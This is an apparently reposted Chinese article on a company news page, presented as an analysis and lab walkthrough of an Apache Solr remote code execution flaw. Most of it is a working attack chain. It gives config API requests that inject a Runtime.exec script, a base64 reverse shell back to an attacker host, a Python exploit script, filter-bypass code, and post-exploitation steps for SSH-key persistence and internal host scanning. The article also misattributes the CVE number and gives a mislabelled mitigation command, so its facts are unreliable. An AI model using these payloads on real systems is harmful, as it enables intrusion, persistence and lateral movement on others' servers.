资讯动态

Apache Solr远程代码执行漏洞CVE-2017-12611解析与实战

发布时间:2026/10/26 5:07:36 来源:尧图企业网站定制
1. 项目概述CVE-2017-12611漏洞解析与实战复现春秋云境作为国内知名的网络安全实训平台其集成的CVE-2017-12611漏洞环境是学习Apache Solr远程代码执行漏洞的经典案例。这个编号为CVE-2017-12611的漏洞影响Apache Solr 5.0.0至5.5.5以及6.0.0至6.6.0版本攻击者可通过精心构造的HTTP请求在未授权情况下实现服务器端任意代码执行。我在实际渗透测试工作中发现该漏洞利用链清晰且危害等级高特别适合作为企业安全人员的内网渗透演练案例。2. 漏洞原理深度剖析2.1 Solr运行机制与漏洞成因Apache Solr作为企业级搜索平台其核心功能依赖config API进行配置管理。漏洞根源在于Solr默认安装时未对config API做访问控制且XML解析器支持XSLT转换功能。当攻击者通过/solr/[core]/config接口上传包含恶意XSLT脚本的配置文件时Solr服务器会解析执行其中的Java代码。具体漏洞触发路径如下攻击者通过HTTP PUT请求创建>dataConfig dataSource typeURLDataSource/ script![CDATA[ java.lang.Runtime.getRuntime().exec(touch /tmp/pwned); ]]/script /dataConfig这段配置会使得Solr在加载时执行系统命令创建/tmp/pwned文件。在实际渗透中攻击者通常会将其替换为反弹shell命令或webshell写入操作。3. 春秋云境靶场实战指南3.1 环境搭建与准备春秋云境已预置了存在漏洞的Solr 5.5.0环境启动靶机后可通过以下步骤确认服务状态# 检测Solr服务端口 nmap -sV -p8983 靶机IP # 预期输出 # 8983/tcp open solr Apache Solr 5.5.03.2 分步漏洞利用演示步骤1识别存在的CoreGET /solr/admin/cores HTTP/1.1 Host: 靶机IP:8983响应中查找str namename[core_name]/str字段步骤2上传恶意配置文件PUT /solr/[core_name]/config HTTP/1.1 Host: 靶机IP:8983 Content-Type: application/json { add-requesthandler: { name: /dataimport, class: org.apache.solr.handler.dataimport.DataImportHandler, config: { script: java.lang.Runtime.getRuntime().exec(\bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}\) } } }注意示例中使用Base64编码的反弹shell命令实际测试时需要替换为攻击机IP和监听端口步骤3触发命令执行GET /solr/[core_name]/dataimport?commandfull-import HTTP/1.1 Host: 靶机IP:89833.3 自动化利用工具对于批量检测场景推荐使用改良版的Python利用脚本import requests TARGET http://靶机IP:8983 CORE_NAME 获取到的core名称 # 步骤1配置恶意handler requests.post( f{TARGET}/solr/{CORE_NAME}/config, json{ add-requesthandler: { name: /exploit, class: org.apache.solr.handler.dataimport.DataImportHandler, config: {script: java.lang.Runtime.getRuntime().exec(\touch /tmp/success\)} } } ) # 步骤2触发执行 requests.get(f{TARGET}/solr/{CORE_NAME}/exploit?commandfull-import)4. 防御方案与修复建议4.1 临时缓解措施网络层控制限制Solr管理接口的访问IP配置防火墙规则禁止外部访问8983端口应用层加固# 禁用config API curl -X POST -H Content-type:application/json -d { set-property: {requestDispatcher.requestParsers.enableRemoteStreaming:false} } http://localhost:8983/solr/[core]/config4.2 官方补丁升级建议升级到以下安全版本Solr 5.5.5Solr 6.6.2 升级后需验证# 检查版本号 curl http://localhost:8983/solr/admin/info/system | grep solr-spec-version5. 渗透测试中的深度利用技巧5.1 绕过限制的进阶方法当遇到特殊字符过滤时可采用以下变形// 使用反射调用Runtime Class.forName(java.lang.Runtime) .getMethod(exec, String.class) .invoke(Class.forName(java.lang.Runtime) .getMethod(getRuntime).invoke(null), calc.exe);5.2 内网渗透扩展获取shell后可进行以下操作信息收集# 查看网络配置 ifconfig || ip a # 检查历史命令 cat ~/.bash_history权限维持# 添加SSH密钥 echo ssh-rsa AAAAB3N... ~/.ssh/authorized_keys横向移动# 扫描内网存活主机 for i in {1..254}; do ping -c 1 192.168.1.$i | grep bytes from; done6. 靶场演练常见问题排查6.1 命令未执行可能原因路径问题使用绝对路径/bin/bash替代bash权限不足尝试写入/tmp等可写目录字符转义对特殊字符进行URL编码6.2 网络连通性检查在攻击机上测试# 检查端口开放 telnet 靶机IP 8983 # 测试HTTP访问 curl -I http://靶机IP:8983/solr/6.3 日志分析技巧Solr日志通常位于server/logs/solr.log关键搜索词DataImportHandlerconfigRemoteStreaming我在实际渗透测试中发现企业内网中遗留的Solr服务往往存在多个关联漏洞组合利用的可能性。建议在完成基础漏洞利用后进一步检查Solr的以下敏感接口/solr/admin/cores?actionCREATE/solr/[core]/replication?commandbackup 这些接口可能带来额外的攻击面扩展机会

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑